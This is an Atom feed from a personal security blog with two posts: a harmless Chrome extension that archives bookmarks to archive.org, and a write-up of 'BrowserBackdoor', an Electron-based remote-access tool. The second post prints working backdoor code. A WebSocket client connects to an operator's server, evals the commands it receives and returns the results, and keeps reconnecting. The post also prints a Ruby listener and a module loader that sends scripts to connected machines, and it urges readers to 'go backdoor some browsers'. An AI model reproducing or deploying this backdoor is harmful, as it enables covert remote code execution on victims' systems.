<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://imcpwn.com/atom.xml" rel="self" type="application/atom+xml" /><link href="https://imcpwn.com/" rel="alternate" type="text/html" /><updated>2025-07-02T01:56:39+00:00</updated><id>https://imcpwn.com/atom.xml</id><title type="html">IMcPwn</title><subtitle>IMcPwn writes open-source software and specializes in security.</subtitle><author><name>IMcPwn</name><email>cs@imcpwn.com</email></author><entry><title type="html">Bookmark Archiver</title><link href="https://imcpwn.com/2016/07/13/bookmark-archiver/" rel="alternate" type="text/html" title="Bookmark Archiver" /><published>2016-07-13T00:00:00+00:00</published><updated>2016-07-13T00:00:00+00:00</updated><id>https://imcpwn.com/2016/07/13/bookmark-archiver</id><content type="html" xml:base="https://imcpwn.com/2016/07/13/bookmark-archiver/"><![CDATA[<p>BookmarkArchiver allows you to easily archive all of your bookmarks using archive.org.</p>

<p>I frequently forget solutions to problems I have when programming, so I bookmark the website with the answer so I can refer to it later. The problem with that arises when a site goes down or a user deletes their question.</p>

<p>To resolve this I’ve started using archive.org so I can always access the answers even if the page no longer exists.</p>

<p>I’ve created a Chrome extension for the task of archiving every single one of my bookmarks with a single click.</p>

<p>The basic functionality is quite simple, all you need to do is push the right page to archive.org.</p>

<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="kd">function</span> <span class="nx">archive</span><span class="p">(</span><span class="nx">url</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">request</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
    <span class="nx">request</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">GET</span><span class="dl">'</span><span class="p">,</span> <span class="dl">"</span><span class="s2">https://web.archive.org/save/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">url</span><span class="p">);</span>
    <span class="nx">request</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>

    <span class="nx">request</span><span class="p">.</span><span class="nx">onreadystatechange</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">target</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="nx">xhr</span><span class="p">.</span><span class="nx">readyState</span> <span class="o">===</span> <span class="mi">4</span> <span class="o">&amp;&amp;</span> <span class="nx">xhr</span><span class="p">.</span><span class="nx">status</span> <span class="o">===</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">appendResult</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;b&gt;Archived&lt;/b&gt;&lt;br&gt;</span><span class="dl">"</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">&lt;a href='https://web.archive.org/web/*/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">url</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">'target='_blank' rel='noreferrer'&gt;</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">url</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">&lt;/a&gt;</span><span class="dl">"</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">xhr</span><span class="p">.</span><span class="nx">readyState</span> <span class="o">===</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">appendResult</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;b&gt;Error archiving&lt;/b&gt;</span><span class="se">\n</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">url</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">};</span>
<span class="p">}</span></code></pre></figure>

<p>Then get all the bookmarks and execute the archive function on them.</p>

<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="kd">function</span> <span class="nx">archiveBookmark</span><span class="p">(</span><span class="nx">bookmarks</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">bookmarks</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">bookmark</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">bookmark</span><span class="p">.</span><span class="nx">url</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">archive</span><span class="p">(</span><span class="nx">bookmark</span><span class="p">.</span><span class="nx">url</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="nx">saveIsChecked</span><span class="p">())</span> <span class="p">{</span>
                <span class="nx">createBookmark</span><span class="p">(</span><span class="nx">bookmark</span><span class="p">.</span><span class="nx">title</span><span class="p">,</span> <span class="nx">bookmark</span><span class="p">.</span><span class="nx">url</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">bookmark</span><span class="p">.</span><span class="nx">children</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">archiveBookmark</span><span class="p">(</span><span class="nx">bookmark</span><span class="p">.</span><span class="nx">children</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">});</span>
<span class="p">}</span></code></pre></figure>

<p>The extension is very much still a work in progress.</p>

<p>I’m planning on adding a feature that allows saving result URLs to a new bookmark folder so you can easily view the history of your archived bookmarks.
I’m also planning on adding a feature that adds an option to automatically archive new bookmarks.</p>

<p>The code is avaliable <a href="https://github.com/CarletonStuberg/BookmarkArchiver" target="_blank" rel="noreferrer noopener">on Github</a>.</p>

<p>You can also install the extension right from the <a href="https://chrome.google.com/webstore/detail/bookmark-archiver/kecillopionpjcpmdlppkojhociadgpo" target="_blank" rel="noreferrer">Chrome Webstore</a>.</p>]]></content><author><name>IMcPwn</name></author><summary type="html"><![CDATA[BookmarkArchiver allows you to easily archive all of your bookmarks using archive.org.]]></summary></entry><entry><title type="html">Browser Backdoor</title><link href="https://imcpwn.com/2016/07/05/browser-backdoor/" rel="alternate" type="text/html" title="Browser Backdoor" /><published>2016-07-05T00:00:00+00:00</published><updated>2016-07-05T00:00:00+00:00</updated><id>https://imcpwn.com/2016/07/05/browser-backdoor</id><content type="html" xml:base="https://imcpwn.com/2016/07/05/browser-backdoor/"><![CDATA[<p>BrowserBackdoor is the combination of an Electron application with a JavaScript WebSocket Backdoor and a Ruby command-line listener.</p>

<p>I started working on the Electron application and built the listener afterwords. The idea of the Electron application came to me by using the <a href="https://github.com/electron/electron-api-demos" target="_blank" rel="noreferrer">Electron API Demos</a> and trying out the “Screenshot” function.
I thought, “it would be awesome to create a backdoor using this program. How could Anti Virus software flag mostly the Chromium browser?”</p>

<p>I looked for ways to created a backdoor using JavaScript and found myself hacking around with the <a href="https://github.com/beefproject/beef" target="_blank" rel="noreferrer">Browser Exploitation Framework’s</a> (BeEF) source. Since I knew zero JavaScript at the time I embedded a BeEF hook directly into my Electron application. This worked decently but most of the functions were useless because BeEF is targeted towards a normal browser, not one with full access to the system.</p>

<p>I found out that the “Raw JavaScript” function in BeEF worked the best because then you could execute Node commands directly such as:</p>

<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nx">electron</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">electron</span><span class="p">.</span><span class="nx">shell</span><span class="p">.</span><span class="nx">beep</span><span class="p">();</span></code></pre></figure>

<p>to make the system beep.</p>

<p>I finally learned some JavaScript on my own (<a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API" target="_blank" rel="noreferrer">thanks Mozilla!</a>) and created this basic always-reconnecting WebSocket backdoor.</p>

<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="p">(</span><span class="kd">function</span> <span class="nx">connect</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="dl">"</span><span class="s2">WebSocket</span><span class="dl">"</span> <span class="k">in</span> <span class="nb">window</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="c1">// Change to where you're hosting the WebSocket server.</span>
        <span class="kd">var</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebSocket</span><span class="p">(</span><span class="dl">"</span><span class="s2">ws://your-server-here:1234</span><span class="dl">"</span><span class="p">);</span>
        <span class="nx">ws</span><span class="p">.</span><span class="nx">onmessage</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">evt</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="nx">ws</span><span class="p">.</span><span class="nx">readyState</span> <span class="o">===</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
                <span class="c1">// Send the result of eval'ing the remote message.</span>
                <span class="nx">ws</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nb">eval</span><span class="p">(</span><span class="nx">evt</span><span class="p">.</span><span class="nx">data</span><span class="p">));</span>
            <span class="p">}</span>
        <span class="p">};</span>
        <span class="nx">ws</span><span class="p">.</span><span class="nx">onclose</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="c1">// Reconnect after 5 seconds.</span>
            <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">connect</span><span class="p">,</span> <span class="mi">5000</span><span class="p">);</span>
        <span class="p">};</span>
   <span class="p">};</span>
<span class="p">})();</span></code></pre></figure>

<p>I decided to create my own listener. This would simplify executing JavaScript directly and allow me to create my own module system. I hacked around with the BeEF listener some more but decided to do it on my own. I looked for the best way to emulate WebSockets in Ruby and found <a href="https://github.com/igrigorik/em-websocket" target="_blank" rel="noreferrer">em-websocket</a> (what BeEF uses actually).</p>

<p>I created a simple listener (<a href="https://github.com/CarletonStuberg/browser-backdoor/blob/v1.0/server/bb-server.rb" target="_blank" rel="noreferrer">full source here</a>) which was able to send direct JavaScript to one client at a time using ws.send().</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="no">EM</span><span class="p">.</span><span class="nf">run</span> <span class="p">{</span>
    <span class="no">EM</span><span class="o">::</span><span class="no">WebSocket</span><span class="p">.</span><span class="nf">run</span><span class="p">({</span>
        <span class="ss">:host</span> <span class="o">=&gt;</span> <span class="vg">$CONFIG</span><span class="p">[</span><span class="s1">'host'</span><span class="p">],</span>
        <span class="ss">:port</span> <span class="o">=&gt;</span> <span class="vg">$CONFIG</span><span class="p">[</span><span class="s1">'port'</span><span class="p">],</span>
        <span class="ss">:secure</span> <span class="o">=&gt;</span> <span class="vg">$CONFIG</span><span class="p">[</span><span class="s1">'secure'</span><span class="p">],</span>
        <span class="ss">:tls_options</span> <span class="o">=&gt;</span> <span class="p">{</span>
            <span class="ss">:private_key_file</span> <span class="o">=&gt;</span> <span class="vg">$CONFIG</span><span class="p">[</span><span class="s1">'priv_key'</span><span class="p">],</span>
            <span class="ss">:cert_chain_file</span> <span class="o">=&gt;</span> <span class="vg">$CONFIG</span><span class="p">[</span><span class="s1">'cert_chain'</span><span class="p">]</span>
        <span class="p">}</span>
        <span class="p">})</span> <span class="k">do</span> <span class="o">|</span><span class="n">ws</span><span class="o">|</span>
            <span class="vg">$wsList</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="n">ws</span><span class="p">)</span>
            <span class="n">ws</span><span class="p">.</span><span class="nf">onopen</span> <span class="p">{</span> <span class="o">|</span><span class="n">handshake</span><span class="o">|</span>
                <span class="nb">puts</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] WebSocket connection open "</span> <span class="o">+</span> <span class="n">handshake</span><span class="p">.</span><span class="nf">to_s</span>
            <span class="p">}</span>
            <span class="n">ws</span><span class="p">.</span><span class="nf">onclose</span> <span class="p">{</span>
                <span class="nb">puts</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[X] Connection closed"</span>
                <span class="vg">$wsList</span><span class="p">.</span><span class="nf">delete</span><span class="p">(</span><span class="n">ws</span><span class="p">)</span>
            <span class="p">}</span>
            <span class="n">ws</span><span class="p">.</span><span class="nf">onmessage</span> <span class="p">{</span> <span class="o">|</span><span class="n">msg</span><span class="o">|</span>
                <span class="nb">puts</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Response received: "</span> <span class="o">+</span> <span class="n">msg</span>
            <span class="p">}</span>
            <span class="n">ws</span><span class="p">.</span><span class="nf">onerror</span> <span class="p">{</span> <span class="o">|</span><span class="n">e</span><span class="o">|</span>
                <span class="nb">puts</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[X] Error "</span> <span class="o">+</span> <span class="n">e</span><span class="p">.</span><span class="nf">message</span>
                <span class="vg">$wsList</span><span class="p">.</span><span class="nf">delete</span><span class="p">(</span><span class="n">ws</span><span class="p">)</span>
            <span class="p">}</span>
        <span class="k">end</span>
    <span class="p">}</span>
<span class="k">end</span></code></pre></figure>

<p>This worked well. It could do exactly what my goal was minus one thing: a module system.</p>

<p>After a lot of commits I came up with a simple system which executed a local file’s contents on the client which for all intents and purposes is a module system. Here’s how it looked in the beginning:</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="k">def</span> <span class="nf">execCommand</span><span class="p">(</span><span class="n">cmdIn</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">cmdIn</span><span class="p">.</span><span class="nf">length</span> <span class="o">&lt;</span> <span class="mi">2</span>
        <span class="n">execCommandLoop</span><span class="p">()</span>
    <span class="k">else</span>
        <span class="k">begin</span>
            <span class="n">file</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="n">cmdIn</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">"r"</span><span class="p">)</span>
            <span class="n">cmdSend</span> <span class="o">=</span> <span class="n">file</span><span class="p">.</span><span class="nf">read</span>
            <span class="n">file</span><span class="p">.</span><span class="nf">close</span>
            <span class="n">sendCommand</span><span class="p">(</span><span class="n">cmdSend</span><span class="p">,</span> <span class="vg">$wsList</span><span class="p">[</span><span class="vg">$selected</span><span class="p">])</span>
        <span class="k">rescue</span> <span class="o">=&gt;</span> <span class="n">e</span>
            <span class="n">print_error</span><span class="p">(</span><span class="s2">"Error sending command. Selected session may no longer exist."</span><span class="p">)</span>
            <span class="nb">puts</span> <span class="n">e</span><span class="p">.</span><span class="nf">message</span>
        <span class="k">end</span>
    <span class="k">end</span>
<span class="k">end</span></code></pre></figure>

<p>Open the file, read the contents, send them to the client. Simple.</p>

<p>Since then I have vastly improved the module system and have added 11 modules in total including a screenshot module and an arbitrary system command module.
They are all viewable <a href="https://github.com/CarletonStuberg/browser-backdoor/tree/master/server/modules" target="_blank" rel="noreferrer">here</a>.</p>

<p>I was satisfied with the state of the program so I made a reddit post on <a href="https://www.reddit.com/r/netsec/comments/4mz22f/browserbackdoor_cross_platform_websocket_remote" target="_blank" rel="noreferrer">/r/netsec</a> then the next day I had over 100 stars on Github! Awesome!</p>

<p>Not many contributions yet (besides a VNC module idea which is still process… thanks for the idea jimthedev).</p>

<p>If anyone is interested in contributing to the project I’d be thrilled.</p>

<p>Thank you security interested people for this great experience.</p>

<h1 id="now-go-backdoor-some-browsers">Now <a href="https://github.com/CarletonStuberg/browser-backdoor" target="_blank" rel="noreferrer">go backdoor some browsers</a>!</h1>

<ul>
  <li>
    <p>May 29, 2016
  Initial creation of <a href="https://github.com/CarletonStuberg/browser-backdoor/tree/v1.0" target="_blank" rel="noreferrer">listener and backdoor</a>.</p>
  </li>
  <li>
    <p>June 7, 2016
  Submit <a href="https://www.reddit.com/r/netsec/comments/4mz22f/browserbackdoor_cross_platform_websocket_remote" target="_blank" rel="noreferrer">reddit post</a> on <a href="https://www.reddit.com/r/netsec" target="_blank" rel="noreferrer">/r/netsec</a>.</p>
  </li>
  <li>
    <p>June 8-12, 2016
  <a href="https://www.reddit.com/r/netsec/comments/4mz22f/browserbackdoor_cross_platform_websocket_remote" target="_blank" rel="noreferrer">Reddit post</a> is top of <a href="https://www.reddit.com/r/netsec" target="_blank" rel="noreferrer">/r/netsec</a>..
  Over 5,000 unique visitors to the <a href="https://github.com/CarletonStuberg/browser-backdoor" target="_blank" rel="noreferrer">Github page</a> and 400 unique cloners.</p>
  </li>
  <li>
    <p>July 5, 2016
  This blog post was created.</p>
  </li>
</ul>]]></content><author><name>IMcPwn</name></author><summary type="html"><![CDATA[BrowserBackdoor is the combination of an Electron application with a JavaScript WebSocket Backdoor and a Ruby command-line listener.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://imcpwn.com/img/BbsConsole.png" /><media:content medium="image" url="https://imcpwn.com/img/BbsConsole.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>